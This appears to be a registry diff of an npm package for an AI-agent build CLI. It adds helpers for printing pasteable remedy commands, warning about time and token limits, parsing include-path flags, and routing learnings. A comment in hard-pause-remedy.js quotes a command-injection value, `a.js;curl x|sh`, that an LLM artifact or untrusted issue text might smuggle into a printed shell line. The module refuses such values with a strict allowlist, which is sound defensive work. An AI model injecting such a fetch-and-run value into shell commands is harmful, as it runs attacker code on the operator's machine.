@hone-ai/cli 1.33.0 → 1.35.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/hone-mcp.js +1 -0
- package/hone-cli.js +1289 -759
- package/lib/agent-eval-pacing.js +102 -0
- package/lib/agent-eval-probes-boundary.js +0 -0
- package/lib/agent-eval-probes-stateful.js +72 -0
- package/lib/agent-eval-score.js +70 -0
- package/lib/agent-executor.js +26 -4
- package/lib/asset-fetch-list.js +72 -0
- package/lib/auto-verify.js +67 -3
- package/lib/batch-follow.js +333 -0
- package/lib/block-grammar.js +126 -0
- package/lib/bundle-context.js +43 -4
- package/lib/bundle-paths.js +698 -1
- package/lib/bundle-source-dirs.js +79 -0
- package/lib/doctor-bind-default.js +192 -18
- package/lib/doctor-local-run.js +139 -1
- package/lib/emit-pr.js +39 -6
- package/lib/git-helpers.js +19 -8
- package/lib/hard-pause-remedy.js +101 -0
- package/lib/headroom.js +63 -0
- package/lib/include-paths.js +155 -0
- package/lib/learnings-parse.js +51 -6
- package/lib/materialize-diff.js +134 -64
- package/lib/mcp-tools.js +36 -11
- package/lib/pipeline-config.js +182 -0
- package/lib/private-temp.js +34 -0
- package/lib/promote-payload.js +77 -0
- package/lib/refresh-knowledge.js +15 -6
- package/lib/repo-tree.js +22 -3
- package/lib/run-context.js +698 -0
- package/lib/run-report.js +36 -0
- package/lib/sandbox-lifecycle.js +357 -0
- package/lib/schedule-cron.js +1 -1
- package/lib/skill-assertions.js +61 -7
- package/lib/skill-audit-render.js +1 -1
- package/lib/story-classifier-extract.js +16 -8
- package/lib/story-classifier.js +64 -0
- package/lib/story-compose.js +69 -0
- package/lib/story-line.js +40 -0
- package/lib/story-provenance.js +267 -0
- package/lib/timeout-option.js +42 -0
- package/lib/tree-artifact.js +166 -0
- package/lib/untrusted-code-env.js +51 -0
- package/lib/verdict-env.js +31 -0
- package/lib/verify-patch.js +74 -4
- package/lib/verify-pr.js +2 -1
- package/lib/worktree-provision.js +62 -2
- package/package.json +1 -1
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
/**
|
|
3
|
+
* hard-pause-remedy.js — HC-GF-263: render a paused run's parsed context request.
|
|
4
|
+
*
|
|
5
|
+
* The CLI prints the truncated `errorMessage` at a pause and nothing else, and on a HUMAN_GATE
|
|
6
|
+
* outcome it prints no reason at all (`⏳ Step … — awaiting approval`). The server now records
|
|
7
|
+
* what the step ASKED FOR in `workflow_step_results.failure_record.context_requests`, projected
|
|
8
|
+
* by the existing GET diagnostics allowlist. This turns it into one pasteable line.
|
|
9
|
+
*
|
|
10
|
+
* PURE: data in, strings out. No fs, no console, no process.
|
|
11
|
+
*
|
|
12
|
+
* TOLERANT OF AN OLDER SERVER BY CONSTRUCTION. A missing `diagnostics`, a null `failure_record`,
|
|
13
|
+
* a `context_requests` of the wrong shape and an empty `paths` all return null, which is today's
|
|
14
|
+
* output. That is what makes the deploy order free: server-first works because the CLI ignores
|
|
15
|
+
* the new key, CLI-first works because the key is simply absent.
|
|
16
|
+
*/
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
* The request belonging to the step the run is PAUSED AT, or null.
|
|
20
|
+
*
|
|
21
|
+
* SCOPED TO `currentStep`, NOT "the newest step that has one". `failure_record` is durable, so
|
|
22
|
+
* once step_1 hard-pauses with a remedy that row keeps it for the life of the run. A reverse
|
|
23
|
+
* scan over every step then prints step_1's files at an unrelated step_4 gate — a command
|
|
24
|
+
* attributed to nothing, at a step that asked for nothing.
|
|
25
|
+
*
|
|
26
|
+
* That is HC-GF-047's lesson one layer up, and orchestrator.js quotes it verbatim: "a
|
|
27
|
+
* stale-but-plausible instruction is worse than none, because the builder acts on it". A
|
|
28
|
+
* printed re-queue command is exactly the kind an operator acts on without re-deriving it.
|
|
29
|
+
*
|
|
30
|
+
* Returning null for a gate with no request of its own is correct and is today's output.
|
|
31
|
+
*
|
|
32
|
+
* @param {object} status a GET /orchestrate/:runId payload, straight off the network and
|
|
33
|
+
* therefore not trusted to have any particular shape
|
|
34
|
+
* @returns {{stepKey: string, paths: Array<object>, truncated: boolean}|null}
|
|
35
|
+
*/
|
|
36
|
+
function remedyFor(status) {
|
|
37
|
+
const s = (status && typeof status === 'object') ? status : {};
|
|
38
|
+
const steps = Array.isArray(s.steps) ? s.steps : [];
|
|
39
|
+
const step = steps.find((x) => x && typeof x === 'object' && x.stepKey === s.currentStep);
|
|
40
|
+
if (!step) return null;
|
|
41
|
+
const diag = step.diagnostics;
|
|
42
|
+
if (!diag || typeof diag !== 'object') return null;
|
|
43
|
+
const rec = diag.failure_record;
|
|
44
|
+
if (!rec || typeof rec !== 'object') return null;
|
|
45
|
+
const req = rec.context_requests;
|
|
46
|
+
if (!req || typeof req !== 'object' || Array.isArray(req)) return null;
|
|
47
|
+
const paths = Array.isArray(req.paths) ? req.paths.filter((p) => p && p.path) : [];
|
|
48
|
+
if (paths.length === 0) return null;
|
|
49
|
+
return { stepKey: step.stepKey, paths, truncated: req.truncated === true };
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
/**
|
|
53
|
+
* H5 — THIS MODULE IS THE TRUST BOUNDARY. Every token it prints came out of an LLM artifact, and
|
|
54
|
+
* the line it builds exists to be pasted into a shell. The agent's input is not trusted either:
|
|
55
|
+
* bundled adopter source and the story text (which can come from a GitHub issue) both reach it,
|
|
56
|
+
* so a "path" like `a.js;curl x|sh` or one carrying a terminal escape is a plausible artifact.
|
|
57
|
+
*
|
|
58
|
+
* DROP AND COUNT, never shell-quote. A token outside this set is far likelier to be a parse
|
|
59
|
+
* artifact than a real filename, and a silently quoted oddity is a command that runs and does
|
|
60
|
+
* nothing. A LEADING DASH is refused too: `--include-paths -rf` parses as an option, not a path.
|
|
61
|
+
* The parser upstream stays total — it records what the agent wrote; only printing is guarded.
|
|
62
|
+
*/
|
|
63
|
+
const SAFE_TOKEN = /^[\w./:@+-]+$/;
|
|
64
|
+
const SAFE_STORY_ID = /^[\w.-]+$/;
|
|
65
|
+
|
|
66
|
+
function tokenOf(p) {
|
|
67
|
+
return p.raw || (p.anchor ? `${p.path}:${p.anchor}` : p.path);
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
function isSafeToken(t) {
|
|
71
|
+
return typeof t === 'string' && t.length > 0 && SAFE_TOKEN.test(t) && !t.startsWith('-');
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
/** Split requested paths into the ones safe to print and the ones dropped, so a caller can say so. */
|
|
75
|
+
function partitionSafePaths(paths) {
|
|
76
|
+
const list = Array.isArray(paths) ? paths.filter((p) => p && p.path) : [];
|
|
77
|
+
const safe = [];
|
|
78
|
+
const dropped = [];
|
|
79
|
+
for (const p of list) (isSafeToken(tokenOf(p)) ? safe : dropped).push(p);
|
|
80
|
+
return { safe, dropped };
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
/**
|
|
84
|
+
* One ready-to-paste command, built from the SAFE paths only.
|
|
85
|
+
*
|
|
86
|
+
* REPEATED FLAGS, not a comma list: `collectIncludePaths` accumulates every occurrence
|
|
87
|
+
* (HC-GF-202), and the repeated form is what the CLI's own warning already tells operators to
|
|
88
|
+
* use. `raw` is preferred over re-joining path+anchor so a `path:symbol` anchor survives exactly
|
|
89
|
+
* as the agent wrote it.
|
|
90
|
+
*
|
|
91
|
+
* A missing OR UNSAFE storyId renders the literal `<story-id>` — a command that visibly needs one
|
|
92
|
+
* edit beats one that looks correct and is not, or one that runs something else.
|
|
93
|
+
*/
|
|
94
|
+
function renderIncludePathsCommand(storyId, paths) {
|
|
95
|
+
const { safe } = partitionSafePaths(paths);
|
|
96
|
+
if (safe.length === 0) return '';
|
|
97
|
+
const id = storyId && SAFE_STORY_ID.test(String(storyId)) ? String(storyId) : '<story-id>';
|
|
98
|
+
return `hone run-story ${id} ${safe.map((p) => `--include-paths ${tokenOf(p)}`).join(' ')}`;
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
module.exports = { remedyFor, renderIncludePathsCommand, partitionSafePaths };
|
package/lib/headroom.js
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
/**
|
|
3
|
+
* HC-GF-089 — how close a step came to its limits, said before it hits one.
|
|
4
|
+
*
|
|
5
|
+
* The largest local build used 793s of its 900s limit and nothing said so. Until now the only way to
|
|
6
|
+
* learn where a limit bites was to hit it: HC-GF-114 exists because the cut-off path had never fired
|
|
7
|
+
* in the entire run history, and reaching it took lowering a cap by hand. A run one slow story away
|
|
8
|
+
* from a timeout should say so while it still completes.
|
|
9
|
+
*
|
|
10
|
+
* ADVISORY by construction. This never blocks, never routes back and never changes a verdict — it
|
|
11
|
+
* prints. A signal that could fail a run would need a far higher bar than "approaching a limit", and
|
|
12
|
+
* a warning that reads like a rejection trains operators to ignore it.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
/** HC-GF-080's per-message output cap — what the CLI child actually runs with. */
|
|
16
|
+
const TOKEN_CAP_PER_MESSAGE = 128_000;
|
|
17
|
+
|
|
18
|
+
/** Three quarters. Low enough to give a story's worth of warning, high enough not to fire routinely. */
|
|
19
|
+
const THRESHOLD = 0.75;
|
|
20
|
+
|
|
21
|
+
/** A ratio, or null when there is nothing to judge — a missing limit is not a limit of zero. */
|
|
22
|
+
function ratio(used, limit) {
|
|
23
|
+
const u = Number(used);
|
|
24
|
+
const l = Number(limit);
|
|
25
|
+
if (!Number.isFinite(u) || !Number.isFinite(l) || l <= 0 || u < 0) return null;
|
|
26
|
+
return u / l;
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
/**
|
|
30
|
+
* One line when a step passed THRESHOLD of its time or per-message token budget, else null.
|
|
31
|
+
* @param {object} generation HC-GF-079's generation report, as stored on the step row.
|
|
32
|
+
*/
|
|
33
|
+
function headroomLine(generation) {
|
|
34
|
+
const g = generation && typeof generation === 'object' ? generation : {};
|
|
35
|
+
|
|
36
|
+
const timeRatio = ratio(g.elapsed_ms, g.timeout_ms);
|
|
37
|
+
// The BUSIEST message decides: a build whose last message nearly filled the cap is at risk even
|
|
38
|
+
// when the earlier ones were small, and an average would hide exactly that.
|
|
39
|
+
const counts = (Array.isArray(g.output_tokens) ? g.output_tokens : [])
|
|
40
|
+
.map(Number).filter((n) => Number.isFinite(n) && n >= 0);
|
|
41
|
+
const busiest = counts.length ? Math.max(...counts) : null;
|
|
42
|
+
const tokenRatio = busiest === null ? null : ratio(busiest, TOKEN_CAP_PER_MESSAGE);
|
|
43
|
+
|
|
44
|
+
const parts = [];
|
|
45
|
+
if (timeRatio !== null && timeRatio >= THRESHOLD) {
|
|
46
|
+
parts.push(`time ${Math.round(timeRatio * 100)}% `
|
|
47
|
+
+ `(${Math.round(Number(g.elapsed_ms) / 1000)}s of ${Math.round(Number(g.timeout_ms) / 1000)}s)`);
|
|
48
|
+
}
|
|
49
|
+
if (tokenRatio !== null && tokenRatio >= THRESHOLD) {
|
|
50
|
+
parts.push(`tokens ${Math.round(tokenRatio * 100)}% `
|
|
51
|
+
+ `(${busiest} of ${TOKEN_CAP_PER_MESSAGE} in one message)`);
|
|
52
|
+
}
|
|
53
|
+
if (!parts.length) return null;
|
|
54
|
+
// HC-GF-129: the threshold has no upper bound, so every ratio from 75% to infinity used to get
|
|
55
|
+
// the same reassurance. On run 692b0c29 a call that ran 550,017ms against a 550,000ms ceiling —
|
|
56
|
+
// it TIMED OUT, `complete: false`, the build was cut off — was reported as "not over it".
|
|
57
|
+
// At or past 1.0 the limit was reached, and saying otherwise is simply false.
|
|
58
|
+
const over = (timeRatio !== null && timeRatio >= 1) || (tokenRatio !== null && tokenRatio >= 1);
|
|
59
|
+
return `headroom: ${parts.join(', ')} — `
|
|
60
|
+
+ (over ? 'the limit was REACHED: this call was cut off' : 'close to the limit, not over it');
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
module.exports = { headroomLine, TOKEN_CAP_PER_MESSAGE, THRESHOLD };
|
|
@@ -0,0 +1,155 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
/**
|
|
3
|
+
* `--include-paths` is the operator's escape hatch when the bundler cannot see a
|
|
4
|
+
* file the story needs. HC-GF-202: it accepted only ONE form.
|
|
5
|
+
*
|
|
6
|
+
* The option is declared `<paths>`, single-valued and comma-separated, so
|
|
7
|
+
* commander keeps the LAST occurrence when the flag is repeated. The planner's
|
|
8
|
+
* own refusal printed `--include-paths Makefile --include-paths scripts/`, which
|
|
9
|
+
* therefore resolved to `"scripts/"` and silently dropped `Makefile` — an
|
|
10
|
+
* operator who followed the instruction exactly received a byte-identical bundle
|
|
11
|
+
* to having passed nothing at all. Measured twice, 7,621 chars each.
|
|
12
|
+
*
|
|
13
|
+
* Both forms are now accepted. The advice the planner prints is correct and is
|
|
14
|
+
* the cheapest escape hatch the bundler has; the flag honours it.
|
|
15
|
+
*/
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
* commander collector: accumulate every occurrence instead of replacing.
|
|
19
|
+
* Declared as `.option('--include-paths <paths>', desc, collectIncludePaths, [])`.
|
|
20
|
+
*/
|
|
21
|
+
function collectIncludePaths(value, previous) {
|
|
22
|
+
return (Array.isArray(previous) ? previous : []).concat([value]);
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
/**
|
|
26
|
+
* Normalise whatever the flag produced into an ordered, de-duplicated path list.
|
|
27
|
+
* Accepts a bare string (comma form), an array (repeated flags), or a mix.
|
|
28
|
+
*/
|
|
29
|
+
function parseIncludePaths(raw) {
|
|
30
|
+
if (raw === undefined || raw === null) return [];
|
|
31
|
+
const parts = Array.isArray(raw) ? raw : [raw];
|
|
32
|
+
const out = [];
|
|
33
|
+
for (const part of parts) {
|
|
34
|
+
for (const piece of String(part).split(',')) {
|
|
35
|
+
const p = piece.trim();
|
|
36
|
+
// An empty entry would become a candidate path of '', which existsSync
|
|
37
|
+
// answers false for — a silent no-op indistinguishable from a typo.
|
|
38
|
+
if (!p) continue;
|
|
39
|
+
if (!out.includes(p)) out.push(p);
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
return out;
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
/**
|
|
46
|
+
* Split one `--include-paths` entry into the file and the region inside it.
|
|
47
|
+
*
|
|
48
|
+
* HC-GF-205: `planFileExcerpt` honours a `line`, and the bundler's own shortfall
|
|
49
|
+
* notice tells the operator to "name them as `path:<line>` to bundle one
|
|
50
|
+
* directly". But the flag added the RAW string as a candidate path, so
|
|
51
|
+
* `cli/hone-cli.js:8500` was looked up as a filename, `existsSync` said no, and
|
|
52
|
+
* the entry vanished with no message — the file then fell back to inferred
|
|
53
|
+
* anchors and bundled the same wrong regions. The remedy the tool printed was a
|
|
54
|
+
* form the tool did not accept.
|
|
55
|
+
*
|
|
56
|
+
* A SYMBOL is accepted as well as a line. The refusals name symbols ("the block
|
|
57
|
+
* that calls `provisionWorktree`"); an operator can copy one out of a refusal,
|
|
58
|
+
* but to use the numeric form they must open the file and count.
|
|
59
|
+
*
|
|
60
|
+
* Deliberately strict: only a positive integer is a line, and only a JS-style
|
|
61
|
+
* identifier is a symbol. Anything else stays part of the path, because
|
|
62
|
+
* reinterpreting a malformed entry is how a typo becomes a silent no-op.
|
|
63
|
+
*/
|
|
64
|
+
function parseIncludeTarget(entry) {
|
|
65
|
+
const raw = String(entry === undefined || entry === null ? '' : entry).trim();
|
|
66
|
+
const mLine = raw.match(/^(.+):(\d+)$/);
|
|
67
|
+
if (mLine && Number(mLine[2]) > 0) {
|
|
68
|
+
return { raw, path: mLine[1], line: Number(mLine[2]), symbol: null };
|
|
69
|
+
}
|
|
70
|
+
const mSym = raw.match(/^(.+):([A-Za-z_$][\w$]*)$/);
|
|
71
|
+
if (mSym) return { raw, path: mSym[1], line: null, symbol: mSym[2] };
|
|
72
|
+
return { raw, path: raw, line: null, symbol: null };
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
/**
|
|
76
|
+
* Split include-path entries into those whose FILE exists and those that resolve
|
|
77
|
+
* to nothing. HC-GF-205: an entry that resolves to no file used to be dropped in
|
|
78
|
+
* silence, which is indistinguishable from it having been bundled — six attempts
|
|
79
|
+
* were spent before anyone noticed the flag had done nothing.
|
|
80
|
+
*/
|
|
81
|
+
function partitionIncludeTargets(entries, exists) {
|
|
82
|
+
const resolved = [];
|
|
83
|
+
const missing = [];
|
|
84
|
+
for (const entry of parseIncludePaths(entries)) {
|
|
85
|
+
const target = parseIncludeTarget(entry);
|
|
86
|
+
(exists(target.path) ? resolved : missing).push(target);
|
|
87
|
+
}
|
|
88
|
+
return { resolved, missing };
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
/**
|
|
92
|
+
* Every line a file is EXPLICITLY anchored at, the operator's first — HC-GF-288.
|
|
93
|
+
*
|
|
94
|
+
* The bundler kept one line per file and filled it story-first, so an operator's
|
|
95
|
+
* `--include-paths f.js:N` for a file the story already cited as `f.js:M` was discarded
|
|
96
|
+
* with no message and M bundled again. Measured on run 31f78a92: five other anchors were
|
|
97
|
+
* honoured and `cli/hone-cli.js:6180` produced the same five regions as a run without it.
|
|
98
|
+
* An operator names a region because the bundle lacked it, usually on the pipeline's own
|
|
99
|
+
* advice (HC-GF-263 prints the command), so ignoring it repeats the refusal that prompted it.
|
|
100
|
+
*
|
|
101
|
+
* ALONGSIDE, NOT INSTEAD. The story's line stays, after the operator's: it is the region the
|
|
102
|
+
* agent already had and asked for MORE than, and dropping it trades one refusal for another.
|
|
103
|
+
* That is HC-GF-216's rule one layer up: a stated line seeds the spread, it never replaces it.
|
|
104
|
+
*
|
|
105
|
+
* A symbol resolves against the file's contents, so it can only be resolved here. One that
|
|
106
|
+
* does not resolve is returned in `unresolved`, never dropped in silence.
|
|
107
|
+
*
|
|
108
|
+
* @param {{path: string, content: string, operator?: Array<{raw: string, line: number|null, symbol: string|null}>, storyLine?: number|null}} input
|
|
109
|
+
* @returns {{anchors: Array<{line: number, raw: string, source: 'operator'|'story'}>, unresolved: Array<{raw: string, reason: string}>}}
|
|
110
|
+
*/
|
|
111
|
+
function statedAnchorsFor({ path: filePath, content, operator = [], storyLine = null } = {}) {
|
|
112
|
+
const { definitionIndexOf } = require('./bundle-paths');
|
|
113
|
+
const text = String(content || '');
|
|
114
|
+
const anchors = [];
|
|
115
|
+
const unresolved = [];
|
|
116
|
+
const add = (line, raw, source) => {
|
|
117
|
+
if (!anchors.some((a) => a.line === line)) anchors.push({ line, raw, source });
|
|
118
|
+
};
|
|
119
|
+
for (const t of Array.isArray(operator) ? operator : []) {
|
|
120
|
+
if (t.line) { add(Number(t.line), t.raw, 'operator'); continue; }
|
|
121
|
+
if (!t.symbol) continue;
|
|
122
|
+
const idx = definitionIndexOf(text, t.symbol);
|
|
123
|
+
if (idx === -1) { unresolved.push({ raw: t.raw, reason: 'symbol not found in the file' }); continue; }
|
|
124
|
+
add(text.slice(0, idx).split('\n').length, t.raw, 'operator');
|
|
125
|
+
}
|
|
126
|
+
if (storyLine) add(Number(storyLine), `${filePath}:${storyLine}`, 'story');
|
|
127
|
+
return { anchors, unresolved };
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
/**
|
|
131
|
+
* One warning per stated anchor the excerpt planner could not honour — HC-GF-288.
|
|
132
|
+
*
|
|
133
|
+
* Named by what the operator TYPED (`raw`), so a `path:symbol` entry is reported as the
|
|
134
|
+
* symbol they passed, not as a line number they never saw.
|
|
135
|
+
*
|
|
136
|
+
* @param {Array<{line: number, raw: string, source: string}>} anchors from statedAnchorsFor
|
|
137
|
+
* @param {Array<{line: number, reason: string, totalLines: number}>} unhonoured from planFileExcerpt
|
|
138
|
+
* @returns {string[]}
|
|
139
|
+
*/
|
|
140
|
+
function anchorWarnings(anchors, unhonoured) {
|
|
141
|
+
const out = [];
|
|
142
|
+
for (const u of Array.isArray(unhonoured) ? unhonoured : []) {
|
|
143
|
+
const a = (anchors || []).find((x) => x.line === u.line);
|
|
144
|
+
const who = a && a.source === 'story' ? `story reference '${a.raw}'` : `--include-paths '${a ? a.raw : u.line}'`;
|
|
145
|
+
out.push(u.reason === 'past-eof'
|
|
146
|
+
? ` \u26a0 ${who} — the file has ${u.totalLines} lines; line ${u.line} does not exist, not anchored`
|
|
147
|
+
: ` \u26a0 ${who} — NOT bundled: this file's stated regions exceed its per-file cap; name fewer regions in it`);
|
|
148
|
+
}
|
|
149
|
+
return out;
|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
module.exports = {
|
|
153
|
+
collectIncludePaths, parseIncludePaths, parseIncludeTarget, partitionIncludeTargets,
|
|
154
|
+
statedAnchorsFor, anchorWarnings,
|
|
155
|
+
};
|
package/lib/learnings-parse.js
CHANGED
|
@@ -122,8 +122,13 @@ function parseLearningsFile(content, opts = {}) {
|
|
|
122
122
|
// LC-001: validateCategory may throw on malformed enum value. Catch and
|
|
123
123
|
// surface as parseError rather than crashing the whole file walk.
|
|
124
124
|
try {
|
|
125
|
-
|
|
126
|
-
|
|
125
|
+
// HC-GF-208: `warning` is not handed on by the A and B paths because it cannot
|
|
126
|
+
// exist there. It is set only for a non-array object carrying BOTH arrays: A
|
|
127
|
+
// requires Array.isArray(parsed), which that test excludes, and had both arrays
|
|
128
|
+
// been present C would have won detection, so B never sees one either. Passing a
|
|
129
|
+
// field that is always undefined reads like a carried value and is not one.
|
|
130
|
+
if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted) };
|
|
131
|
+
if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted) };
|
|
127
132
|
if (schema === SCHEMA_C) return { schema, eligible: parseSchemaC(parsed, includePromoted), warning };
|
|
128
133
|
if (schema === SCHEMA_D) return { schema, eligible: parseSchemaD(parsed, includePromoted), warning };
|
|
129
134
|
} catch (e) {
|
|
@@ -150,9 +155,21 @@ function parseSchemaA(items, includePromoted = false) {
|
|
|
150
155
|
// LC-001: optional categorization fields (G2 partial). All optional;
|
|
151
156
|
// default null. validateCategory throws on malformed enum.
|
|
152
157
|
category: validateCategory(i.category),
|
|
158
|
+
// HC-GF-264: `targetOf` checks `target_skill` FIRST and calls it "the most specific statement
|
|
159
|
+
// of intent there is". None of these four maps carried it, so that branch never executed in
|
|
160
|
+
// this repo and routing fell through to `agent` — the field that records who NOTICED.
|
|
161
|
+
// Measured 2026-09-24: 203 of 775 items set it and 150 routed elsewhere. This is HC-GF-159a's
|
|
162
|
+
// defect recurring on the field that fix introduced: it added `target_skill` to
|
|
163
|
+
// `PROMOTED_FIELDS` and to `targetOf`, and not to the parsers that feed them.
|
|
164
|
+
target_skill: i.target_skill || null,
|
|
153
165
|
referenced_skill: i.referenced_skill || null,
|
|
154
166
|
referenced_section: i.referenced_section || null,
|
|
155
167
|
evidence: Array.isArray(i.evidence) ? i.evidence : (i.evidence ? [i.evidence] : null),
|
|
168
|
+
// HC-GF-159a: the legacy list format routes like the others. No file in this repo uses it,
|
|
169
|
+
// which is why its handoffs went unasserted — but an adopter's older files still can.
|
|
170
|
+
type: i.type || null,
|
|
171
|
+
agent: i.agent || null,
|
|
172
|
+
proposed_fix: typeof i.proposed_fix === 'string' ? i.proposed_fix : null,
|
|
156
173
|
}));
|
|
157
174
|
}
|
|
158
175
|
|
|
@@ -181,6 +198,10 @@ function parseSchemaB(doc, includePromoted = false) {
|
|
|
181
198
|
// `candidate_for` already serves the role of referenced_skill, so
|
|
182
199
|
// we fall back to it when the explicit field is absent.
|
|
183
200
|
category: validateCategory(c.category),
|
|
201
|
+
// HC-GF-264. Deliberately no `|| c.candidate_for` here: `candidate_for` says which skill the
|
|
202
|
+
// work applied, which is what `referenced_skill` below already borrows it for. Reusing it as a
|
|
203
|
+
// destination would invent an intent the author did not state.
|
|
204
|
+
target_skill: c.target_skill || null,
|
|
184
205
|
referenced_skill: c.referenced_skill || c.candidate_for || null,
|
|
185
206
|
referenced_section: c.referenced_section || null,
|
|
186
207
|
evidence: Array.isArray(c.evidence) ? c.evidence : (c.evidence ? [c.evidence] : null),
|
|
@@ -211,9 +232,15 @@ function parseSchemaC(doc, includePromoted = false) {
|
|
|
211
232
|
_schema: SCHEMA_C,
|
|
212
233
|
// LC-001: optional categorization fields (G2 partial).
|
|
213
234
|
category: validateCategory(l.category),
|
|
235
|
+
target_skill: l.target_skill || null, // HC-GF-264
|
|
214
236
|
referenced_skill: l.referenced_skill || null,
|
|
215
237
|
referenced_section: l.referenced_section || null,
|
|
216
238
|
evidence: Array.isArray(l.evidence) ? l.evidence : (l.evidence ? [l.evidence] : null),
|
|
239
|
+
// HC-GF-159a: the source YAML has carried these all along; dropping them here is why every
|
|
240
|
+
// promoted learning reached the server with `type: unknown` and no agent or fix text.
|
|
241
|
+
type: l.type || null,
|
|
242
|
+
agent: l.agent || null,
|
|
243
|
+
proposed_fix: typeof l.proposed_fix === 'string' ? l.proposed_fix : null,
|
|
217
244
|
}));
|
|
218
245
|
}
|
|
219
246
|
|
|
@@ -245,9 +272,15 @@ function parseSchemaD(doc, includePromoted = false) {
|
|
|
245
272
|
enterprise_candidate: true,
|
|
246
273
|
_schema: SCHEMA_D,
|
|
247
274
|
category: validateCategory(doc.category),
|
|
275
|
+
target_skill: doc.target_skill || null, // HC-GF-264
|
|
248
276
|
referenced_skill: doc.referenced_skill || null,
|
|
249
277
|
referenced_section: doc.referenced_section || null,
|
|
250
278
|
evidence: Array.isArray(doc.evidence) ? doc.evidence : (doc.evidence ? [doc.evidence] : null),
|
|
279
|
+
// HC-GF-159a: 119 of the 418 eligible learnings are Schema D. A fix covering only Schema C
|
|
280
|
+
// leaves those routing to 'general'.
|
|
281
|
+
type: doc.type || null,
|
|
282
|
+
agent: doc.agent || null,
|
|
283
|
+
proposed_fix: typeof doc.proposed_fix === 'string' ? doc.proposed_fix : null,
|
|
251
284
|
}];
|
|
252
285
|
}
|
|
253
286
|
|
|
@@ -279,7 +312,11 @@ function escapeRegex(s) {
|
|
|
279
312
|
function writeBackA(content, ids) {
|
|
280
313
|
for (const id of ids) {
|
|
281
314
|
const escaped = escapeRegex(id);
|
|
282
|
-
|
|
315
|
+
// HC-GF-208: the gap below is lazy but was unbounded, so when the named item has
|
|
316
|
+
// no `status:` of its own it ran on to the NEXT item's and marked the WRONG
|
|
317
|
+
// learning promoted, leaving the named one pending forever. Stop at the next
|
|
318
|
+
// top-level `- id:` line, which is where this item's block ends.
|
|
319
|
+
const idPattern = new RegExp(`(id:\\s*${escaped}(?:(?!\\n- id:)[\\s\\S])*?status:\\s*)pending`, 'm');
|
|
283
320
|
if (idPattern.test(content)) {
|
|
284
321
|
content = content.replace(idPattern, '$1promoted');
|
|
285
322
|
}
|
|
@@ -355,16 +392,24 @@ function rewriteWithStatusInsertion(content, matcher) {
|
|
|
355
392
|
if (!r.matched) continue;
|
|
356
393
|
|
|
357
394
|
// Look ahead through this item's block to detect existing status.
|
|
358
|
-
let
|
|
395
|
+
let statusIdx = -1;
|
|
359
396
|
for (let j = i + 1; j < lines.length; j++) {
|
|
360
397
|
const next = lines[j];
|
|
361
398
|
// End of block: next sibling id line at the same-or-lesser list indent.
|
|
362
399
|
if (/^ {2,}- id:/.test(next)) break;
|
|
363
400
|
// End of block: a non-indented (top-level) line means we've left the array.
|
|
364
401
|
if (/^\S/.test(next)) break;
|
|
365
|
-
if (/^ {4,}status:\s*\S/.test(next)) {
|
|
402
|
+
if (/^ {4,}status:\s*\S/.test(next)) { statusIdx = j; break; }
|
|
366
403
|
}
|
|
367
|
-
if (
|
|
404
|
+
if (statusIdx === -1) { out.push(`${r.indent}status: promoted`); continue; }
|
|
405
|
+
// HC-GF-208: an existing status line used to end the matter, so a learning
|
|
406
|
+
// authored with `status: pending` could never be flipped — it stayed eligible
|
|
407
|
+
// and was re-promoted on every run, while the write still reported success
|
|
408
|
+
// because the content came back byte-identical. Rewrite pending in place.
|
|
409
|
+
// Any other state (promoted, retracted) is deliberate and left alone: a
|
|
410
|
+
// retracted learning must not be silently re-promoted.
|
|
411
|
+
const st = lines[statusIdx].match(/^(\s*status:\s*)pending\s*$/);
|
|
412
|
+
if (st) lines[statusIdx] = `${st[1]}promoted`;
|
|
368
413
|
}
|
|
369
414
|
return out.join('\n');
|
|
370
415
|
}
|